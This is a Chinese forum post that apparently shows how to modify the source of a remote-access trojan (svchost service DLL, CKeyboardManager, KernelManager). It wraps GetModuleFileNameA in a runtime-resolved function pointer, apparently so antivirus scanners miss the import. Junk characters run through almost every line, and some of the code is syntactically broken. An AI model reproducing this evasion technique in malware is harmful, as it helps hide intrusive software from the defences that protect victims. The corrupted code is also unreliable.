返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
+ `: F4 }/ p7 c( E8 b2 ~svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h2 J4 z0 ^9 T! a. D- c( b; E
----------------------------------------4 O& h4 V4 S' H4 o
DTDY.h:  S6 s# g# N* G
0 F% z" L* U) G- r
#if _MSC_VER>1000
8 m  v) V8 ?4 K. n. n#pragma once
# S8 n) Q6 C) _#endif //_MSC_VER>10008 \/ y  G$ u+ z$ `
#include<windows.h>" ?, V2 u8 [9 }: k6 D% C/ Y
* l& f5 |* U0 V
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);; T  @4 |" @+ {( x5 x& ?; U
class DTDY
6 U, Y) a8 I1 f  g{
( }0 t* h$ P; Z! Npublic:
8 ?1 M8 q& E9 Z1 Q8 @& cDTDY();
7 ]/ a- L+ w6 |* a* cvirtual ~DTDY();2 o" O6 D# J  [! A' H6 |  o/ l
public:$ \5 o7 C& H: t' k! c, ?
static pGetModuleFileNameA MyGetModuleFileName;" V5 M1 f' y; l; Y
static BOOL FunInitiallization();: O8 }; a7 d" s4 `5 W/ f; y
};/ l& n7 o; Y3 V% u3 w* G* h
#endif
7 W2 W2 F" }+ v3 P2 Z* c----------------------------------------
7 t4 x+ E) t) n9 S* T
) V4 {5 u9 K) e1 |% Q8 lDTDY.cpp:) u4 I; b( P" t0 q, R* j

& @0 L% d$ `- s' L& U4 Y#include "DTDY.h": K6 _' U8 j  d4 S$ W2 g
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;- f* u) i+ P) M2 E
DTDY:TDY()- R' N1 k3 T* a! u8 o7 ]
{! @& H, r3 l/ J  x3 f
}
" r2 K7 j$ i5 ]' f1 ^: v; Y& HDTDY::~DTDY(); `" e( J% g* i3 V/ _
{
+ o# w0 T, N# P}, u( M" ^- C; I; K) l4 O/ \
BOOL DTDY::FunInitiallization()
2 }9 r0 R" _% |: O2 Z; P- u* `& I& Q7 H{: j# V, q2 V& Q3 [6 l: w
HMODULE hModule=LoadLibrary("kernel32.dll");% ]4 H  Y0 g9 }1 c$ @" a
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");0 Y3 y6 _, I% {# I
if(!MyGetModuleFileName=) return FALSE;
7 v- e' o+ u# T& q% J4 I4 l' o7 J1 Q; s! |2 ]+ J, ]
return TRUE;
4 |/ t+ U+ @3 Y! D# R}
& P* u7 s" V( y' i% ]----------------------------------------
5 O1 {* g4 k, Lsvchost.cpp:
$ H! ^3 m0 n  r
  z( c0 c# q" ^. l#include "DTDY.h"
2 J4 O( S' k7 n2 I+ H5 D& h7 j3 ]% C
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)4 U4 V, E/ ^7 U! ~1 n' N5 Z. }0 Q% P
{
) J' f! b5 F# N6 Vswitch(ul_reason_for_call)) y' F. B0 J3 R, X
{3 ?, x& ]. _6 R6 Z
case DLL_PROCESS_ATTACH:
3 G% e, O3 a* @  J& H2 O1 Rif(!DTDY::FunInitiallization()) return FALSE;
  e0 [. f+ |5 ~2 X* m4 @& [  Z/ |) @8 _( x
break;
$ \* a3 h! ^( \}) ]' `! e& d( B) g
}6 m* F+ B$ K& O4 H' R8 k2 ?

8 j: c9 }- Q- u4 _( I  [6 `
0 a  S' i" |4 K, O8 `5 G( GGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
3 O6 P/ R8 ], k/ @+ @改写为7 S% g9 ?$ g1 q3 A# B* C: [
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));, P6 H) G0 v. P+ n% f/ `
----------------------------------------7 A4 F# ?% t4 N0 V) v& B, L
KernelManager.cpp:& M2 F3 E7 y+ y: l* E) P
7 ]" V0 d6 f8 V* o" V
#include "../DTDY.h"! C4 b6 o1 m( y
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));1 V. U- z, c$ N6 o+ f- Y
改写为" l% o) C4 p7 V6 `
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
, c! h# R5 V$ [4 d3 w----------------------------------------

返回列表